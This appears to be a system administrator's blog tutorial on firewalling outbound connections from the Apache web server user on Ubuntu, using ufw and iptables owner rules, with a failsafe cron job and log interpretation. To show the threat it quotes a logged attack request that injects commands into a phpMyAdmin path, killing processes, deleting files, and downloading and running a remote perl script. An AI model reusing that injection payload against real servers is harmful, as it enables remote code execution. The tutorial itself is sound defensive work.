For a majority of web servers out there the need to query DNS servers and make external HTTP connections are not required yet these types of outbound packets are generally not firewalled off.
<
p> Take a quick search through your Apache logs for the ‘wget’ command and you may find requests that resemble something like this
217.196.212.150 - - [09/Sep/2009:04:31:25 +1000] "GET /phpMyAdmin/config/config .inc.php?c=cd%20/tmp;killall%20-9%20perl;rm%20-rf%20X0-lock;rm%20-rf%20font-nix ;wget%20193.13.87.38/X0-locker;perl%20X0-locker HTTP/1.1" 404 230 "-" "Mozilla /4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
The above request shows a scripted HTTP query that attempts to pass several commands to the PHP file titled config.inc.php. If successful this command would of killed all perl processes owned by the user running the web server (the user being www-data and the web server being Apache in this case), rm’d a few files, downloaded a perl script called X0-locker from an external site and then ran that perl script with the privileges of www-data.
<
p> A catch all fix for these types of attacks is to firewall all packets generated by the user running Apache.
Below I will take this 1 step further and demonstrate how to successfully block all outbound connections that we do not allow through using Ubuntu. This includes outbound HTTP and DNS requests from our user running our web server. Whilst iptables is not Ubuntu specific, I use the ufw package which is found in Ubuntu. The iptables rules that I use can be bolted on top of most distributions if you change the chain names.
Firstly, lets install the ufw package
$ sudo apt-get install ufw
Set the default OUTPUT policy to DROP by editing /etc/default/ufw. This effectively drops every outgoing packet.
DEFAULT_OUTPUT_POLICY="DROP"
Enable ufw by setting ENABLED to yes by editing /etc/ufw/ufw.conf
ENABLED=yes
At this stage its best you ensure your remote console connection to your web server is working. If you dont have a remote console connection you can add a small cron job which will stop the ufw service removing all the iptables rules.
<
p>Add the following cron job to /etc/cron.d/ufw
*/10 * * * * root /etc/init.d/ufw stop
ufw (version 0.27) has a –dry-run feature though as far I’m aware this does not work with editing rules in /etc/ufw/before.rules which is where we’re going next. I cant stress enough that without a remote console connection or the above cron job, you most likely will lock yourself out of your server.
Now to begin editing iptables rules. Open /etc/ufw/before.rules and hash out the following lines
-A ufw-before-output -p tcp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -A ufw-before-output -p udp -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
<
p>Find the COMMIT line within /etc/ufw/before.rules which should be on the last line. Just before the COMMIT line add the following
# http/s -A ufw-before-input -p tcp --sport 1024:65535 -m multiport --dports 80,443 -j ACCEPT # ssh -A ufw-before-input -p tcp --dport 22 -j ACCEPT # allow established packets through -A ufw-before-output -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT -A ufw-before-output -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT # ntp -A ufw-before-output -m owner --uid-owner ntp -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -A ufw-before-output -m owner --uid-owner root -p udp -m multiport --dport 53,123 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT # log -A ufw-before-output -m limit --limit 3/min --limit-burst 10 -m state --state NEW -j LOG --log-uid
If you have a remote console connection to your server its best to login through it now. If not ensure the cron job that stops the ufw service is working. If one of these ‘backdoors’ are not working be prepared to pay a visit to your data center and login via the console.
Start ufw.
$ sudo /etc/init.d/ufw start
Check the new iptable rules are in place
$ sudo iptables -L -n -v
We can easily test that the rules are in place and are blocking outbound connections from the webserver by su’ing to the www-data user and generating an outbound DNS and HTTP request
$ sudo su - www-data -s /bin/bash $ telnet www.google.com 80 telnet: could not resolve www.google.com/80: Name or service not known
As we havent allowed DNS requests to be made from the www-data user outbound, HTTP queries have no chance of getting through. You can relax this slightly by allowing DNS requests to be made by www-data. This may be required if your web applications do any host based outbound queries (eg; using the google maps API) or if your Apache configuration has host based ACLs using an authorization module such as mod_authz_host.
To allow DNS requests by the www-data but continue to block all outbound connections that are initiated by the www-data user add the following iptables rule just before the final ufw-before-output rule
-A ufw-before-output -m owner --uid-owner www-data -p tcp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -A ufw-before-output -m owner --uid-owner www-data -p udp --dport 53 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
Logging
Within the rules that we have added to perform the logging of the packets that are blocked we’ve used the –log-uid option allowing the logs to contain the UID and GID of the user who generated the offending outbound packet.
This extra piece of information is incredibly useful in debugging web applications and services that are trying establish outbound connections
Nov 22 20:52:52 web01 kernel: [569936.655730] IN= OUT=eth0 SRC=10.3.2.70 DST=66.249.89.99 LEN=60 TOS=0x10 PREC=0x00 TTL=64 ID=595 DF PROTO=TCP SPT=44742 DPT=80 WINDOW=5840 RES=0x00 SYN URGP=0 UID=33 GID=33
From the above log we have the following important information that can help determine what was blocked and whether we need to unblock it.
OUT=eth0 – the ethernet card that the packet was route out SRC=10.3.2.70 – the source IP address of your web server DST=66.249.89.99 – the destination of the packet PROTO=TCP – the protocol of the packet DPT=80 – the destination port UID=33 – the userid that generated the packet GID=33 – the group id that generated the packet









